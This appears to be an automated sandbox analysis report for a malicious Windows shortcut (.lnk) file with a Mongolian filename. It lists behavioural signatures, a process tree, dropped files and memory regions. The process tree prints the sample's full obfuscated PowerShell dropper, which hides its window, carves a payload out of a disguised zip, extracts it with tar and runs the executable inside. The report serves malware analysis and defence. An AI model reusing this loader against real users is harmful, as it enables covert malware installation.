Resubmissions

09/08/2026, 16:32

260809-t11pps1hne7

09/08/2026, 15:21

260809-srlzhs1akc7

09/08/2026, 14:06

260809-repzzasvb17

09/08/2026, 14:04

260809-rdcm9asths7

02/06/2026, 12:38

260602-pt73zsew5q

01/06/2026, 01:40

260601-b31hlsdw2p8

24/04/2026, 07:50

260424-jpbw4acx4q3

24/04/2026, 07:48

260424-jnl1nscx2m7

24/04/2026, 07:47

260424-jmtzwsbx6v7

02/04/2026, 10:54

260402-mzmm5agy3r7

Analysis

  • user interaction
    yes
  • max time kernel
    113s
  • max time network
    115s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    09/08/2026, 14:04

General

  • Target
    ЕС-аас Хөндөж болзошгүй асуудал.lnk
  • Size 2KB
  • Sample260809-rdcm9asths
  • SHA256 ddcf3af805f277e33c0a50c757789b4bc835b97e4a065e54d97e6dd4a7b280c1
  • MD5 SHA1 SHA512 TLSH
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 31 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\ЕС-аас Хөндөж болзошгүй асуудал.lnk"
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H ";$dcxtboewo = (ls -Pa $Home -Re -in 'ЕС-аас Х?нд?ж болзошг?и? асуудал.zip')[0].fullname;$nugcjmw = [SyStem.IO.File]::OpenReAd($dcxtboewo); $jpjlvlwrj = NeW-ObjEct byte[] $nugcjmw.Length; $nugcjmw.Read($jpjlvlwrj, 0, $jpjlvlwrj.Length); $nugcjmw.Close();$lwjap='wRi'+'tEAlL'+'bYtEs';$uysqzmr=1164; ;;[SySTem.IO.FIle]::$lwjap($Env:LocalAppdata+'\\rlylgjvgdr.so', $jpjlvlwrj[$uysqzmr..($uysqzmr+669696-1)]); ; TaR -xvf $Env:LocalAppdata\rlylgjvgdr.so -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4232
      • C:\Windows\system32\tar.exe
        "C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\AppData\Local\rlylgjvgdr.so -C C:\Users\Admin\AppData\Local
        3⤵
          PID:2608
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2680
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4516
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:4420
      • C:\Program Files\7-Zip\7zG.exe
        "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Windows\System32\WindowsPowerShell\v1.0\" -an -ai#7zMap15144:118:7zEvent664
        1⤵
        • Drops file in System32 directory
        • Suspicious use of AdjustPrivilegeToken
        PID:1496
      • C:\Program Files\7-Zip\7zFM.exe
        "C:\Program Files\7-Zip\7zFM.exe" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3368
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H ";$dcxtboewo = (ls -Pa $Home -Re -in 'ЕС-аас Х?нд?ж болзошг?и? асуудал.zip')[0].fullname;$nugcjmw = [SyStem.IO.File]::OpenReAd($dcxtboewo); $jpjlvlwrj = NeW-ObjEct byte[] $nugcjmw.Length; $nugcjmw.Read($jpjlvlwrj, 0, $jpjlvlwrj.Length); $nugcjmw.Close();$lwjap='wRi'+'tEAlL'+'bYtEs';$uysqzmr=1164; ;;[SySTem.IO.FIle]::$lwjap($Env:LocalAppdata+'\\rlylgjvgdr.so', $jpjlvlwrj[$uysqzmr..($uysqzmr+669696-1)]); ; TaR -xvf $Env:LocalAppdata\rlylgjvgdr.so -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe;"
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4320
        • C:\Windows\system32\tar.exe
          "C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\AppData\Local\rlylgjvgdr.so -C C:\Users\Admin\AppData\Local
          2⤵
            PID:2736
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3384
        • C:\Windows\system32\taskmgr.exe
          "C:\Windows\system32\taskmgr.exe" /4
          1⤵
            PID:4748

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 df0fcfba7ccb03bac0ccf6941f9cc512937fdc63035a2fedc78aa9a82c1d8af1
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 30c185269fcf22fed3eaa4568dee5b5b92fcf7b3e73014943c9fb986d7df5546
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 5199de3cb22f8a374932e1cb20da8e42b6280815426d77b68dc5ac528c8bb599
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_o0240puv.grp.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o0240puv.grp.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                b890d6b1c02d13b1.customDestinations-ms

                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b890d6b1c02d13b1.customDestinations-ms
                • Size 4KB
                • SHA256 16809714272fbb8d15cc9600d691db730ea8418ceaac687ae8ca338791b481b0
                • MD5 SHA1 SHA512 SSDEEP TLSH

                b890d6b1c02d13b1.customDestinations-ms

                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b890d6b1c02d13b1.customDestinations-ms
                • Size 4KB
                • SHA256 988bb14f83f380476c0f035fdd08672967a8ee80a31c3908817ab8c147772d95
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/2680-37-0x0000020BC80C0000-0x0000020BC82DD000-memory.dmp

                memory/4232-13-0x000001D07A1D0000-0x000001D07A1E0000-memory.dmp

                memory/4232-3-0x000001D07A1D0000-0x000001D07A1E0000-memory.dmp

                memory/4232-5-0x000001D07A1D0000-0x000001D07A1E0000-memory.dmp

                memory/4232-11-0x000001D07A100000-0x000001D07A122000-memory.dmp

                memory/4232-12-0x000001D07A1D0000-0x000001D07A1E0000-memory.dmp

                memory/4232-41-0x000001D07A1E0000-0x000001D07A3FD000-memory.dmp

                memory/4232-14-0x000001D07A1D0000-0x000001D07A1E0000-memory.dmp

                memory/4516-26-0x000001B826C40000-0x000001B826C41000-memory.dmp

                memory/4516-23-0x000001B826C40000-0x000001B826C41000-memory.dmp

                memory/4516-22-0x000001B826C40000-0x000001B826C41000-memory.dmp

                memory/4516-15-0x000001B826C40000-0x000001B826C41000-memory.dmp

                memory/4516-24-0x000001B826C40000-0x000001B826C41000-memory.dmp

                memory/4516-25-0x000001B826C40000-0x000001B826C41000-memory.dmp

                memory/4516-16-0x000001B826C40000-0x000001B826C41000-memory.dmp

                memory/4516-27-0x000001B826C40000-0x000001B826C41000-memory.dmp

                memory/4516-21-0x000001B826C40000-0x000001B826C41000-memory.dmp

                memory/4516-17-0x000001B826C40000-0x000001B826C41000-memory.dmp